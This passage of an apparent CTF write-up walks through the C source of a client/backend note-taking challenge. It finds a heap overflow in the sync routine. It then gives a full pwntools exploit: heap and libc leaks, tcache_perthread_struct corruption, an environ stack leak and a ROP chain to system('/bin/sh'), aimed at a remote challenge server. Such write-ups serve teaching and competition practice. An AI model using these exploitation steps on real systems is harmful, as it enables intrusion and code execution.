Note_t new_note = Note_init(title, author, 0, is_encrypt);
if(is_encrypt){
printf("What is your passwd? ");
bzero(buf, sizeof(buf));
read_line(buf, sizeof(buf) - 1);
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
}
printf("How many bytes for content? ");
content_len = read_int();
if(content_len > MAX_CONTENT_LEN){
content_len = MAX_CONTENT_LEN;
}
printf("Content: \n");
new_note->note_content = malloc(content_len);
new_note->note_content_len = content_len;
fgets(new_note->note_content, content_len, stdin);
if(is_encrypt){
// sync this note to backend
size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
msg_hdr_t send_msg = malloc(send_size);
send_msg->action = COMMIT;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(new_note->common), sizeof(struct NoteCommon));
serialize_p->note_content_len = sizeof(passwd_hash) + content_len;
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
memcpy(&(serialize_p->content[sizeof(passwd_hash)]), new_note->note_content, new_note->note_content_len);
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
uint64_t status = 0;
int rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc) || status != OK){
printf("Unable to sync this note to server :(, destroying this note\n");
Note_destroy(new_note);
return;
}
free(new_note->note_content);
new_note->note_content = NULL;
new_note->note_synced = 1;
}
DL_APPEND(notes, new_note);
notes_size++;
puts("Added");
}
```
This option allows to input `title`, `name`, and `content`. One more thing is if you want to encrypt your data, you can enter `passwd` and backend will use `SHA256` to encrypt.
After receiving user input, `new_note` will be appended to global variable `notes`, which serves as a linked list.
**List note**
```c
void list_note()
{
Note_t tnote;
DL_FOREACH(notes, tnote){
printf("Title: %s\n", tnote->note_title);
printf("Author: %s\n", tnote->note_author);
if(tnote->note_is_encrypt){
printf("Content: (Encrypted)\n");
} else {
printf("Content: %s\n", tnote->note_content);
}
}
}
```
This option prints all the notes' information, and if you choose to hash the content, it will print `encrypted` instead the real content.
**Read note**
```c
void read_note()
{
struct Note s_note;
Note_t tmp;
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
msg_hdr_t send_msg;
msg_hdr_t recv_msg;
size_t recv_size = 0;
size_t send_size = 0;
NoteSerialize_t serialize_p;
Status status;
int rc;
bzero(&s_note, sizeof(struct Note));
printf("Title: ");
read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
printf("Author: ");
read_line(s_note.note_author, sizeof(s_note.note_author) - 1);
DL_SEARCH(notes, tmp, &s_note, Note_cmp);
if(!tmp){
printf("Unable to find your note\n");
return;
}
if(tmp->note_is_encrypt){
printf("Password? ");
read_line(buf, sizeof(buf) - 1);
// sha1 here
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
// read from backend
send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH;
send_msg = malloc(send_size);
send_msg->action = FETCH;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
rc = recv_data_timeout(&ipc, SENDER, (void **)&recv_msg, &recv_size, 60);
if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
printf("Unable to read content\n");
return;
}
serialize_p = (NoteSerialize_t)recv_msg->msg_content;
printf("Content: %s\n", serialize_p->content);
} else {
printf("Content: %s\n", tmp->note_content);
}
}
```
This option allows user to view arbitrary created chunk, and enter `title`, `name`, and `passwd` if you have for the note.
**Edit note**
```c
void edit_note()
{
struct Note s_note;
Note_t tmp;
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
msg_hdr_t send_msg;
size_t send_size = 0;
NoteSerialize_t serialize_p;
uint64_t status;
int rc;
bzero(&s_note, sizeof(struct Note));
printf("Title: ");
read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
printf("Author: ");
read_line(s_note.note_author, sizeof(s_note.note_author) - 1);
DL_SEARCH(notes, tmp, &s_note, Note_cmp);
if(!tmp){
printf("Unable to find your note\n");
return;
}
if(tmp->note_is_encrypt){
printf("Password ?");
read_line(buf, sizeof(buf) - 1);
// sha256
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
// sync with server
send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash);
send_msg = malloc(send_size);
send_msg->action = AUTH;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
serialize_p->note_content_len = sizeof(passwd_hash);
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60);
if(IS_ERR(rc) || status != OK){
printf("Authenticate was failed\n");
return;
}
printf("Access granted\n");
}
printf("New content len?");
uint32_t content_len = read_int();
content_len = content_len < MAX_CONTENT_LEN ? content_len: MAX_CONTENT_LEN;
printf("New content:\n");
if(tmp->note_is_encrypt){
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
// sync with server
send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
send_msg = malloc(send_size);
send_msg->action = COMMIT;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
serialize_p->note_content_len += sizeof(passwd_hash);
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
memcpy(serialize_p->content + sizeof(passwd_hash), tmp->note_content, tmp->note_content_len);
free(tmp->note_content);
tmp->note_content = NULL;
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc) || status != OK){
printf("Unable to update your content\n");
return;
}
tmp->note_synced = 1;
} else {
if(tmp->note_content){
free(tmp->note_content);
}
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
tmp->note_synced = 0;
}
}
```
This option allows you to edit the content, by choosing a new content size, then removing the old content, and malloc a new chunk with specified size.
**Delete note**
```c
void delete_note(void)
{
struct Note s_note;
Note_t tmp;
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
bzero(&s_note, sizeof(struct Note));
printf("Title: ");
read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
printf("Author: ");
read_line(s_note.note_author, sizeof(s_note.note_author) - 1);
DL_SEARCH(notes, tmp, &s_note, Note_cmp);
if(!tmp){
printf("Unable to find your note\n");
return;
}
size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize);
msg_hdr_t send_msg;
// sync with server
if(tmp->note_is_encrypt || tmp->note_synced){
if(tmp->note_is_encrypt){
send_size += SHA256_DIGEST_LENGTH;
printf("Your password? ");
bzero(buf, sizeof(buf));
read_line(buf, sizeof(buf) - 1);
// sha256
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
}
send_msg = malloc(send_size);
send_msg->action = DELETE;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
serialize_p->note_content_len = 0;
if(tmp->note_is_encrypt){
serialize_p->note_content_len = sizeof(passwd_hash);
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
}
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
uint64_t status = 0;
int rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60);
if(IS_ERR(rc) || (Status)status != OK){
printf("Unable to delete note\n");
return;
}
}
DL_DELETE(notes, tmp);
notes_size--;
printf("Deleted\n");
}
```
This option allows you to remove a note. One thing is that this option removes the note by deleting it from the linked list and does not remove any `malloc-ed` chunk.
**Sync**
```c
int note_sync(int flag)
{
msg_hdr_t msg_hdr = NULL;
uint32_t send_size, recv_size;
struct msg_hdr inline_msg_hdr;
Note_t cur_note, next_note, next_note2;
NoteSerialize_t serialize_p;
uint64_t status;
uint32_t read_count = 0;
int rc;
if(flag == 1){
send_size = sizeof(struct msg_hdr);
next_note = notes;
next_note2 = notes;
// commit un-synced note to backend
DL_FOREACH(next_note, cur_note){
if(cur_note->note_synced)
continue;
send_size += sizeof(struct NoteSerialize) + cur_note->note_content_len;
if(send_size > SHM_MEM_MAX_SIZE){
next_note = cur_note;
break;
}
}
if(send_size == sizeof(struct msg_hdr)){
printf("All notes was synced\n");
return 0;
}
msg_hdr = malloc(send_size);
msg_hdr->action = COMMIT;
msg_hdr->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)msg_hdr->msg_content;
DL_FOREACH(next_note2, cur_note) {
if(cur_note->note_synced)
continue;
memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon));
memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len);
serialize_p = (NoteSerialize_t)((size_t)serialize_p + sizeof(struct NoteSerialize) + cur_note->note_content_len);
cur_note->note_synced = 1;
}
send_data(&ipc, RECEIVER, msg_hdr, send_size);
free(msg_hdr);
rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc) || status != OK){
printf("Unable to commit data to backend\n");
return 1;
}
} else {
// fetch from backend
inline_msg_hdr.action = FETCH;
inline_msg_hdr.msg_size = 0xFFFFFFFF; // fetch all except encrypted note content
send_data(&ipc, RECEIVER, &inline_msg_hdr, sizeof(inline_msg_hdr));
int truncated = 0;
do{
truncated = 0;
rc = recv_data_timeout(&ipc, SENDER, (void **)&msg_hdr, (uint64_t *)&recv_size, 60);
if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
if((Status)recv_size == OK){
return 0;
} else {
printf("Unable to fetch data from backend\n");
return 1;
}
}
if(msg_hdr->action == TRUNCATED)
truncated = 1;
Note_t search_note;
// parse from backend
while(read_count < msg_hdr->msg_size){
serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count);
Note_t new_note = Note_init(serialize_p->note_title,
serialize_p->note_author,
serialize_p->note_content_len,
serialize_p->note_is_encrypt);
read_count += sizeof(struct NoteSerialize);
Note_t p_note;
DL_SEARCH(notes, search_note, new_note, Note_cmp);
p_note = search_note;
if(!search_note){
p_note = new_note;
}
// update new content
if(!p_note->note_is_encrypt){
memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
read_count += new_note->note_content_len;
}
if(p_note->note_is_encrypt) {
p_note->note_synced = 1;
if(p_note->note_content){
free(p_note->note_content);
p_note->note_content = NULL;
}
}
if(!search_note){
DL_APPEND(notes, new_note);
} else {
Note_destroy(new_note);
}
}
if(truncated){
// signal backend send next data
send_data(&ipc, RECEIVER, NULL, OK);
}
} while(truncated);
}
return 0;
}
```
This option is more complex. Based on the parameter `flag`, we have two abilities.
- If `flag == 1`, we will commit all the notes that are unsynced to `backend`, by copying all the information of a specific note to a shared memory called by `mmap` in `backend`
- If `flag == 0`, we will receive the data from that shared memory to fetch into our current note.
That's all the options. Let's find the bug
### BUG
Take a look at how `backend` handles all the chunk when `sync(1)`.
```c
DL_SEARCH(notes, tmp1, new_note, NoteBackend_cmp);
parsed_error = OK;
if(tmp1){
// update content only;
DBG("[backend] COMMIT: update content for %s - %s\n", tmp1->note_title, tmp1->note_author);
if(tmp1->note_is_encrypt && memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH) == 0){
// access granted
DBG("[backend] COMMIT: access granted for encrypted note - update new content\n");
Note_Crypt((const char *)tmp1->passwd,
(const char *)&(serialize_note->content[SHA256_DIGEST_LENGTH]),
(const size_t)content_len,
&encrypt_buf,
&encrypt_size,
Encrypt);
if(tmp1->note_content){
free(tmp1->note_content);
}
tmp1->note_content = encrypt_buf;
tmp1->note_content_len = encrypt_size;
} else if(!tmp1->note_is_encrypt){
DBG("[backend] COMMIT: update new content_len: %d\n", content_len);
if(tmp1->note_content){
free(tmp1->note_content);
}
tmp1->note_content = malloc(content_len);
tmp1->note_content_len = content_len;
memcpy(tmp1->note_content, serialize_note->content, serialize_note->note_content_len);
}
NoteBackend_destroy(new_note);
```
First, it will compare title and author of the note, then if the `tmp1->content` exists, it will free the content and replace by a newer content.
So what will happen if two chunks have the similar title and author, but the content of latter has a bigger size.
After `sync(1)`, we choose to `sync(0)`, all the data from `backend` will be copied into heap in `interface`.
```c
DL_FOREACH(next_note2, cur_note) {
if(cur_note->note_synced)
continue;
memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon));
memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len);
```
There is no check over `cur_note->note_content_len`, which will lead to a `heap overflow` and `oob write` primitive.
**Arbitrary read**
To leak address, there are two ways:
- Using `uninitialized variable` as `malloc` doesn't memset old content.
- Overwriting `note->content` to an address containing another address.
Because of `fgets` adding null-byte to the end, a heap address with a form `0xXXXXXXXXXX00` must have a valid pointer
My strategy is to
```
- Chunk 1 will have content's size 0x58
- Chunk 2 will have content's size 0x18
- chunk 3 will have content's size 0x91
```

`0x55555555d400` has a pointer to `0x55555555d420`, so our target is to overwrite `chunk3->content`.
Because the size is `0x91`, trailing null-byte of `chunk3->content` will be copied into chunk 3 again.

Okay, heap leak is successful.
How can we leak libc when in `delete` option there is no free.
In `edit` option, we can choose to release old `content` and replace it with a new specified chunk.
So my strategy here is:
```
- Set content of an arbitrary chunk to tcache_perthread_struct
- Create a chunk with size larger than fastbin size, then write to that tcache_count 7.
- Create a chunk with content is an address to main_arena address
- Free that content and alloc a smaller chunk, we will have libc address.
- Leak the chunk containing a pointer to main_arena, we will have libc.
```
So now let's begin.
**First chunk**
```py
pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin1'
pl = pl.ljust(0x60, b'\0')
pl += b'lin1'
pl = pl.ljust(0x90, b'\0')
pl += p64(heap + 0x10)[0:6]
add(b'lynk', b'Lynk', b'n', 0x10, b'A')
add(b'lynk', b'Lynk', b'n', 0x97, pl)
```
**Second chunk**
```py
pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin2'
pl = pl.ljust(0x60, b'\0')
pl += b'lin2'
pl = pl.ljust(0x90, b'\0')
pl += p64(heap + 0xf10)[0:6]
add(b'lynk1', b'Lynk1', b'n', 0x10, b'B')
add(b'lynk1', b'Lynk1', b'n', 0x97, pl)
```
**Third chunk**
```py
pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin3'
pl = pl.ljust(0x60, b'\0')
pl += b'lin3'
pl = pl.ljust(0x90, b'\0')
pl += p64(heap + 0xf40)[0:6] # chunk will have main_arena address
add(b'lynk2', b'Lynk2', b'n', 0x10, b'B')
add(b'lynk2', b'Lynk2', b'n', 0x97, pl)
```
Edit `lin1` chunk, where we can free `tcache_perthread_struct`, then malloc(0x288) will reuse that freed object.
```py
edit(b'lin1', b'lin1', 0x288, pl)
```

Edit `lin2`, we will have `main_arena` address now.
```py
edit(b'lin2', b'lin2', 0x20, b'A') # alloc a smaller chunk
```

Okay, we have `libc` now.
**Leaking stack and overwriting return address**
We have `lin1->content` is `tcache_perthread_struct`, I choose to overwrite chunk `lynk`, and rewrite its content to `environ` in order to leak stack.


Reuse `tcache_perthread_struct` again to ROP on stack.
```py
pl = p16(1) * 64 + p64(stack) * 10
edit(b'lin1', b'lin1', 0x288, pl)
rdi = 0x000000000002a3e5 + l.address
ret = rdi + 1
bin_sh = next(l.search(b'/bin/sh'))
pl = p64(0) + p64(rdi) + p64(bin_sh) + p64(ret) + p64(l.sym['system'])
#pause()
edit(b'junk1', b'junk1', 0x88, pl)
```

**Final script**
```py
from pwn import *
e = context.binary = ELF("./interface")
be = context.binary = ELF("./backend")
l = ELF("./libc.so.6")
r = remote("139.162.29.93", 31339)
#r = process([e.path, be.path])
def choice(c: int):
r.recvuntil(b'Choice: ')
r.sendline(str(c).encode())
def add(title: bytes, author: bytes, enc: bytes, num: int, content: bytes, passwd = b'123'):
choice(1)
r.recvuntil(b'Title: ')
r.sendline(title)
r.recvuntil(b'Author: ')
r.sendline(author)
r.recvuntil(b'(y/n) ')
r.sendline(enc)
if enc == b'y':
r.recvuntil(b'What is your passwd? ')
r.sendline(passwd)
r.recvuntil(b'How many bytes for content? ')
r.sendline(str(num).encode())
r.recvuntil(b'Content:')
r.sendline(content)
def list_():
choice(2)
def read_(title: bytes, author: bytes, passwd = None):
choice(3)
r.recvuntil(b'Title: ')
r.sendline(title)
r.recvuntil(b'Author: ')
r.sendline(author)
if passwd:
r.recvuntil(b'Password? ')
r.sendline(passwd)
def edit(title: bytes, author: bytes, new_len: int, new_content: bytes, passwd = None):
choice(4)
r.recvuntil(b'Title: ')
r.sendline(title)
r.recvuntil(b'Author: ')
r.sendline(author)
if passwd:
r.recvuntil(b'Password? ')
r.sendline(passwd)
r.recvuntil(b'New content len?')
r.sendline(str(new_len).encode())
r.recvuntil(b'New content:')
r.sendline(new_content)
def delete(title: bytes, author: bytes):
choice(5)
r.recvuntil(b'Title: ')
r.sendline(title)
r.recvuntil(b'Author: ')
r.sendline(author)
def sync(sc):
choice(6)
r.recvuntil(b'[c]ommit note? (s/c)')
r.sendline(sc)
context.terminal = ['/usr/bin/vscode']
gs = """
set follow-fork-mode parent
b*edit_note+600
"""
#gdb.attach(r, gs)
add(b'lynk', b'Lynk', b'n', 0x58, b'A' * 0x67)
add(b'lynk1', b'Lynk1', b'n', 0x17, b'A' * 0x16)
pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin'
pl = pl.ljust(0x60, b'\0')
pl += b'lin'
pl = pl.ljust(0x80, b'\0')
pl += p64(0x2000)
pl = pl.ljust(0x8f, b'\0')
add(b'lynk1', b'Lynk1', b'n', 0x91, pl)
#add(b'gym', b'jao', b'n', 0x91, payload)
sync(b'c')
sync(b's')
read_(b'lin', b'lin')
r.recvuntil(b'Content: ')
heap = u64(r.recv(6).ljust(8, b'\0')) - 0x420
log.info(f'Heap: {hex(heap)}')
delete(b'lynk', b'Lynk')
delete(b'lynk1', b'Lynk1')
delete(b'lin', b'lin')
pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin1'
pl = pl.ljust(0x60, b'\0')
pl += b'lin1'
pl = pl.ljust(0x90, b'\0')
pl += p64(heap + 0x10)[0:6]
add(b'lynk', b'Lynk', b'n', 0x10, b'A')
add(b'lynk', b'Lynk', b'n', 0x97, pl)
pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin2'
pl = pl.ljust(0x60, b'\0')
pl += b'lin2'
pl = pl.ljust(0x90, b'\0')
pl += p64(heap + 0xf10)[0:6]
add(b'lynk1', b'Lynk1', b'n', 0x10, b'B')
add(b'lynk1', b'Lynk1', b'n', 0x97, pl)
pl = b'\0' * 0x18
pl += p64(0x91)
pl += b'lin3'
pl = pl.ljust(0x60, b'\0')
pl += b'lin3'
pl = pl.ljust(0x90, b'\0')
pl += p64(heap + 0xf40)[0:6] # chunk will have main_arena address
add(b'lynk2', b'Lynk2', b'n', 0x10, b'B')
add(b'lynk2', b'Lynk2', b'n', 0x97, pl)
add(b'junk1', b'junk1', b'n', 0x250, b'A')
add(b'junk2', b'junk2', b'n', 0x260, b'A')
#delete(b'lynk1', b'Lynk1')
sync(b'c')
sync(b's')
pl = p16(0) * 35 + p16(7) * 3
pause()
edit(b'lin1', b'lin1', 0x288, pl) # edit tcache_perthread_struct
edit(b'lin2', b'lin2', 0x20, b'A') # alloc a smaller chunk
read_(b'lin3', b'lin3')
r.recvuntil(b'Content: ')
l.address = u64(r.recv(6) + b'\0' * 2) - l.sym['main_arena'] - 96
log.info(f'Libc: {hex(l.address)}')
pl = p16(1) * 64 + p64(heap + 0x830) * 10
edit(b'lin1', b'lin1', 0x288, pl)
edit(b'lin2', b'lin2', 0x98, p64(0x10) + p64(0x2) + p64(l.sym['environ']) + p64(heap + 0xe80) + p64(heap + 0x900) + p64(0x81))
read_(b'lynk', b'Lynk')
r.recvuntil(b'Content: ')
stack = u64(r.recv(6) + b'\0' * 2) - 832
log.info(f'Stack: {hex(stack)}')
pl = p16(1) * 64 + p64(stack) * 10
edit(b'lin1', b'lin1', 0x288, pl)
rdi = 0x000000000002a3e5 + l.address
ret = rdi + 1
bin_sh = next(l.search(b'/bin/sh'))
pl = p64(0) + p64(rdi) + p64(bin_sh) + p64(ret) + p64(l.sym['system'])
#pause()
edit(b'junk1', b'junk1', 0x88, pl)
r.interactive()
```
## Pwn03-flag2
Here we are going to find vulnerability and exploit in `backend`.